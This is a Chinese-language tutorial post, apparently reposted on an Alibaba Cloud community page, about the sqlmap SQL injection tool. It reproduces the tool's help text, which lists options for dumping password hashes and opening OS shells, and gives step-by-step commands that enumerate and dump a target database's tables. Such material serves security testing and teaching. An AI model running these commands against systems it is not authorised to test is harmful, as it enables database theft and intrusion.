sql注入工具:sqlmap命令

來源:互聯網
上載者:User

標籤:current   開源   one   retrieve   blank   scripts   column   post   add   

  sqlmap是一款專業的sql注入工具, 讓你告別人工注入, 程式高效自動注入

  前提是你有找到注入點 , 工具的官方網站:http://sqlmap.org/

  kali系統預設安裝sqlmap, 不需要額外安裝:

  sqlmap的命令列協助:

        ___       __H__ ___ ___[.]_____ ___ ___  {1.1.11#stable}|_ -| . [,]     | .‘| . ||___|_  [‘]_|_|_|__,|  _|      |_|V          |_|   http://sqlmap.orgUsage: python sqlmap [options]Options:  -h, --help            Show basic help message and exit  -hh                   Show advanced help message and exit  --version             Show program‘s version number and exit  -v VERBOSE            Verbosity level: 0-6 (default 1)  Target:    At least one of these options has to be provided to define the    target(s)    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")    -g GOOGLEDORK       Process Google dork results as target URLs  Request:    These options can be used to specify how to connect to the target URL    --data=DATA         Data string to be sent through POST    --cookie=COOKIE     HTTP Cookie header value    --random-agent      Use randomly selected HTTP User-Agent header value    --proxy=PROXY       Use a proxy to connect to the target URL    --tor               Use Tor anonymity network    --check-tor         Check to see if Tor is used properly  Injection:    These options can be used to specify which parameters to test for,    provide custom injection payloads and optional tampering scripts    -p TESTPARAMETER    Testable parameter(s)    --dbms=DBMS         Force back-end DBMS to this value  Detection:    These options can be used to customize the detection phase    --level=LEVEL       Level of tests to perform (1-5, default 1)    --risk=RISK         Risk of tests to perform (1-3, default 1)  Techniques:    These options can be used to tweak testing of specific SQL injection    techniques    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")  Enumeration:    These options can be used to enumerate the back-end database    management system information, structure and data contained in the    tables. Moreover you can run your own SQL statements    -a, --all           Retrieve everything    -b, --banner        Retrieve DBMS banner    --current-user      Retrieve DBMS current user    --current-db        Retrieve DBMS current database    --passwords         Enumerate DBMS users password hashes    --tables            Enumerate DBMS database tables    --columns           Enumerate DBMS database table columns    --schema            Enumerate DBMS schema    --dump              Dump DBMS database table entries    --dump-all          Dump all DBMS databases tables entries    -D DB               DBMS database to enumerate    -T TBL              DBMS database table(s) to enumerate    -C COL              DBMS database table column(s) to enumerate  Operating system access:    These options can be used to access the back-end database management    system underlying operating system    --os-shell          Prompt for an interactive operating system shell    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC  General:    These options can be used to set some general working parameters    --batch             Never ask for user input, use the default behaviour    --flush-session     Flush session files for current target  Miscellaneous:    --sqlmap-shell      Prompt for an interactive sqlmap shell    --wizard            Simple wizard interface for beginner users

  枚舉資料庫列表:

sqlmap -u http://URL地址/index.php?id=1 --dbs

  根據資料庫, 枚舉資料庫表:

sqlmap -u http://URL地址/index.php?id=1 -D 資料庫 --tables

  根據資料庫和,資料庫表, 枚舉資料表結構:

sqlmap -u http://URL地址/index.php?id=1 -D 資料庫 -T 資料庫表 --columns

  根據資料庫表結構, 枚舉表資料:

sqlmap -u http://URL地址/index.php?id=1 -D 資料庫 -T 資料庫表 -C 資料庫表名1,資料庫表名2 --dump

 

 

 

NONO
出處:http://www.cnblogs.com/diligenceday/
企業網站:http://www.idrwl.com/
開源部落格:http://www.github.com/sqqihao
QQ:287101329
:18101055830 

sql注入工具:sqlmap命令

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.